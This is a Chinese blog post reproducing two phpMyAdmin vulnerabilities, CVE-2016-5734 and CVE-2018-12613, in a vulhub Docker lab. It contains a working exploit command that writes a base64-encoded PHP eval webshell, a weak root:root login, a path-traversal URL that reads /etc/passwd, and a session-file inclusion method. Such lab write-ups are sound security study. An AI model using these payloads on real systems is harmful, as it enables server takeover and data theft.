phpmyadmin漏洞分析复现

前言

phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。

环境搭建

这里我们选择使用vulhub搭建docker进行漏洞复现。

首先安装curl和docker

sudo apt install curl
sudo apt install docker.io
docker -v //查看是否安装成功

然后安装python和pip环境(如果没有),命令如下

sudo apt install python
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python get-pip.py
pip -V //查看是否安装成功

然后再安装docker-compose

pip install docker-compose
docker-compose -v

在这里插入图片描述

到这个地方docker环境就已经搭建好了,这时候需要从github上把vulhub的漏洞环境给clone下来,这里直接clone网不太好,我就直接下载下来了copy到了靶机上

git clone https://github.com/vulhub/vulhub.git

之后进入phpmyadmin的漏洞环境

在这里插入图片描述

这里看到有3个漏洞环境,我们这次目标就是这些漏洞。

漏洞复现

CVE-2016-5734

phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞。

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在其查找并替换字符串功能中,将用户输入的信息拼接进preg_replace函数第一个参数中。

在PHP5.4.7以前,preg_replace的第一个参数可以利用\0进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此时将可构造一个任意代码执行漏洞。

以下版本受到影响:

  • 4.0.10.16之前4.0.x版本
  • 4.4.15.7之前4.4.x版本
  • 4.6.3之前4.6.x版本(实际上由于该版本要求PHP5.5+,所以无法复现本漏洞)
docker-compose up -d 

启动,访问http://192.168.50.113:8080/index.php即可进入默认首页。

在这里插入图片描述
这个漏洞需要登录,且能够写入数据
弱口令爆破出来root:root用户名密码,登录。

因为目标环境使用root,所以我们可以创建一个临时数据库和数据表,进行漏洞利用。这里,我们使用POC https://www.exploit-db.com/exploits/40185/ 来复现漏洞。

没有指定表名,这个POC会创建一个名为prgpwn的表
在这里插入图片描述
-d是已经可以写的数据库,-c是待执行的PHP语句

写入一句话

ython3 ./phpmyadmin_poc.py -c "file_put_contents('shell1.php',base64_decode('PD9waHAgZXZhbChAJF9QT1NUWydhJ10pOyA/Pg=='));" -u root -p root -d test http://192.168.50.113:8080/

在这里插入图片描述
成功拿下webshell。

CVE-2018-12613

phpmyadmin 4.8.1 远程文件包含漏洞

其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。

环境启动后,访问http://192.168.50.113:8080,即可进入phpmyadmin。配置的是“config”模式,所以无需输入密码,直接登录test账户。

在这里插入图片描述

http://192.168.50.113:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

访问上述url发现返回密码信息。

在这里插入图片描述

可见/etc/passwd被读取,说明文件包含漏洞存在。

利用方式也比较简单,可以执行一下SELECT ‘<?=phpinfo()?>’;,然后查看自己的sessionid(cookie中phpMyAdmin的值),然后包含session文件即可:

在这里插入图片描述

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
引用\[1\]:根据网上公开的phpMyadmin文件包含漏洞,通过代码审计定位危险函数,然后逐步分析,最终确定payload,并通过本地搭建phpMyadminV4.8.1版本成功进行漏洞复现。实际上该漏洞对于大部分版本的phpMyadmin都生效,因此有使用该系统的需要引起格外的重视,及时修补该漏洞。\[1\]引用\[2\]:文件包含漏洞是指在程序中动态引用了用户可控制的文件,而没有对用户输入进行充分的过滤和验证,导致攻击者可以通过构造恶意的文件路径来读取、执行或者包含任意文件。\[2\]引用\[3\]:在phpMyadmin的大部分版本中都存在文件包含漏洞。\[3\] 问题: phpmyadmin漏洞是什么? 回答: phpMyadmin漏洞是指在phpMyadmin程序中存在的文件包含漏洞。该漏洞允许攻击者通过构造恶意的文件路径来读取、执行或者包含任意文件。这个漏洞对于大部分版本的phpMyadmin都生效,因此使用该系统的用户需要格外重视,并及时修补该漏洞。\[1\]\[2\]\[3\] #### 引用[.reference_title] - *1* *2* *3* [phpmyadminV4.8.1本地文件包含漏洞复现](https://blog.csdn.net/weixin_64551911/article/details/125609281)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值